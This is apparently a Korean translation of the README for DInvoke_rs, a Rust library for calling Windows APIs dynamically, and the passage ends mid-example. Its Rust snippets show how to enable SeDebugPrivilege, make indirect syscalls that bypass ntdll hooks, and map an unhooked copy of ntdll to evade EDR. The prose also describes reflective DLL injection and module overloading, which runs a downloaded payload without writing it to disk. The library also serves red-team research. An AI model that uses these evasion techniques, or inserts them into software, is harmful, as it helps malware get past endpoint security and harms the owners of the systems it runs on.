
임의의 비관리 코드를 동적으로 호출
Dinvoke의 Rust 포팅 버전입니다. DInvoke_rs는 PE 파싱, 동적 내보내기 함수 해석, 런타임 시 PE 플러그인 동적 로딩, API 후크 우회 등 다양한 용도로 사용할 수 있습니다.
기능:
이 도구의 원본 C# 구현 제작자에게 모든 공로가 있습니다:
이 크레이트를 프로젝트에 가져오려면 cargo.toml에 다음 줄을 추가하세요:```rust
[dependencies]
dinvoke_rs = "0.2.2"
# 예제
## 내보낸 API 확인
아래 예제에서는 DInvoke_rs를 사용하여 DLL(이 경우 `ntdll.dll`)의 내보낸 함수를 동적으로 찾아 호출하는 방법을 보여줍니다.
1) ntdll의 기본 주소를 가져옵니다.
2) `get_function_address()`를 사용하여 이름으로 `ntdll.dll` 내의 내보낸 함수를 찾습니다. 이는 DLL의 EAT를 탐색하고 구문 분석하여 수행됩니다.
3) `get_function_address_by_ordinal()`을 호출하여 서수(ordinal)로 내보낸 함수를 찾을 수도 있습니다.```rust
fn main() {
// Dynamically obtain ntdll.dll's base address.
let ntdll = dinvoke_rs::dinvoke::get_module_base_address("ntdll.dll");
if ntdll != 0
{
println!("ntdll.dll base address is 0x{:X}", ntdll);
// Dynamically obtain the address of a function by name.
let nt_create_thread = dinvoke_rs::dinvoke::get_function_address(ntdll, "NtCreateThread");
if nt_create_thread != 0
{
println!("NtCreateThread is at address 0x{:X}", nt_create_thread);
}
// Dynamically obtain the address of a function by ordinal.
let ordinal_8 = dinvoke_rs::dinvoke::get_function_address_by_ordinal(ntdll, 8);
if ordinal_8 != 0
{
println!("The function with ordinal 8 is located at addresss 0x{:X}", ordinal_8);
}
}
}
아래 예제에서는 DInvoke_rs를 사용하여 RtlAdjustPrivilege를 동적으로 호출함으로써 현재 프로세스 토큰에 대해 SeDebugPrivilege를 활성화합니다. 이러한 종류의 실행은 Win32에 존재하는 모든 API 후크를 우회합니다. 또한 최종 PE의 가져오기 주소 테이블(Import Address Table)에 항목을 생성하지 않으므로, 실행하지 않고 PE의 동작을 탐지하기가 더 어려워집니다.```rust
fn main() {
// Dynamically obtain ntdll.dll's base address.
let ntdll = dinvoke_rs::dinvoke::get_module_base_address("ntdll.dll");
if ntdll != 0
{
unsafe
{
let func_ptr: unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32; // Function header available at data::RtlAdjustPrivilege
let ret: Option<i32>; // RtlAdjustPrivilege returns an NSTATUS value, which in Rust can be represented as an i32
let privilege: u32 = 20; // This value matches with SeDebugPrivilege
let enable: u8 = 1; // Enable the privilege
let current_thread: u8 = 0; // Enable the privilege for the current process, not only for the current thread
let e = u8::default(); // https://github.com/Kudaes/rust_tips_and_tricks/tree/main#transmute
let enabled: *mut u8 = std::mem::transmute(&e);
dinvoke_rs::dinvoke::dynamic_invoke!(ntdll,"RtlAdjustPrivilege",func_ptr,ret,privilege,enable,current_thread,enabled);
match ret {
Some(x) =>
if x == 0 { println!("NTSTATUS == Success. Privilege enabled."); }
else { println!("[x] NTSTATUS == {:X}", x as u32); },
None => panic!("[x] Error!"),
}
}
}
}
## 간접 syscall 실행
다음 예제에서는 `NtQueryInformationProcess` 함수에 해당하는 syscall을 실행하기 위해 DInvoke_rs를 사용합니다. 매크로 `execute_syscall!()` 는 원하는 syscall을 수행하는 데 필요한 셸코드를 동적으로 할당하고 실행하므로, `ntdll.dll`에 존재하는 모든 후크를 우회합니다. 할당된 메모리는 syscall이 반환되면 해제되어, 실행 권한이 있는 메모리 페이지가 영구적으로 존재하는 것을 방지합니다.```rust
use std::mem::size_of;
use windows::Win32::System::Threading::{GetCurrentProcess, PROCESS_BASIC_INFORMATION};
use dinvoke_rs::data::{NtQueryInformationProcess, PVOID};
fn main() {
unsafe
{
let function_type:NtQueryInformationProcess;
let ret: Option<i32>; //NtQueryInformationProcess returns a NTSTATUS, which is a i32.
let handle = GetCurrentProcess();
let p = PROCESS_BASIC_INFORMATION::default();
let process_information: PVOID = std::mem::transmute(&p);
let r = u32::default();
let return_length: *mut u32 = std::mem::transmute(&r);
dinvoke_rs::dinvoke::execute_syscall!(
"NtQueryInformationProcess",
function_type,
ret,
handle,
0,
process_information,
size_of::<PROCESS_BASIC_INFORMATION>() as u32,
return_length
);
let pbi: *mut PROCESS_BASIC_INFORMATION;
match ret {
Some(x) =>
if x == 0 {
pbi = std::mem::transmute(process_information);
let pbi = *pbi;
println!("The Process Environment Block base address is 0x{:X}", pbi.PebBaseAddress as u64);
},
None => println!("[x] Error executing direct syscall for NtQueryInformationProcess."),
}
}
}
이 예제에서 DInvoke_rs는 EDR 후크가 없는 ntdll.dll의 새 복사본을 수동으로 매핑하는 데 사용됩니다. 그런 다음 해당 새 ntdll.dll 복사본을 사용하여 원하는 함수를 실행할 수 있습니다.
이 수동 매핑은 메모리에서도 실행할 수 있으며(이 경우 manually_map_module() 사용), 전형적인 reflective dll injection을 수행할 수 있게 해줍니다.```rust
use dinvoke_rs::data::PeMetadata;
fn main() {
unsafe
{
let ntdll: (PeMetadata, usize) = dinvoke_rs::manualmap::read_and_map_module(r"C:\Windows\System32\ntdll.dll", true, false).unwrap();
let func_ptr: unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32; // Function header available at data::RtlAdjustPrivilege
let ret: Option<i32>; // RtlAdjustPrivilege returns an NSTATUS value, which is an i32
let privilege: u32 = 20; // This value matches with SeDebugPrivilege
let enable: u8 = 1; // Enable the privilege
let current_thread: u8 = 0; // Enable the privilege for the current process, not only for the current thread
let e = u8::default();
let enabled: *mut u8 = std::mem::transmute(&e);
dinvoke_rs::dinvoke::dynamic_invoke!(ntdll.1,"RtlAdjustPrivilege",func_ptr,ret,privilege,enable,current_thread,enabled);
match ret {
Some(x) =>
if x == 0 { println!("NTSTATUS == Success. Privilege enabled."); }
else { println!("[x] NTSTATUS == {:X}", x as u32); },
None => panic!("[x] Error!"),
}
}
}
## 메모리 섹션 오버로드
다음 샘플에서는 DInvoke_rs를 사용하여 파일 지원 메모리 섹션(file-backed memory section)을 생성한 후, PE를 수동으로 매핑하여 이를 오버로드합니다. 메모리 섹션은 기본적으로 `%WINDIR%\System32\`에 있는 합법적인 파일을 가리키지만, 다른 디코이 모듈도 사용할 수 있습니다.
이 오버로드는 메모리에서 PE를 매핑하여 실행할 수도 있습니다(다음 예제에서 볼 수 있음). 이를 통해 페이로드를 디스크에 쓰지 않고 오버로드를 수행할 수 있습니다.```rust
use dinvoke_rs::data::PeMetadata;
fn main() {
unsafe
{
let payload: Vec<u8> = your_download_function();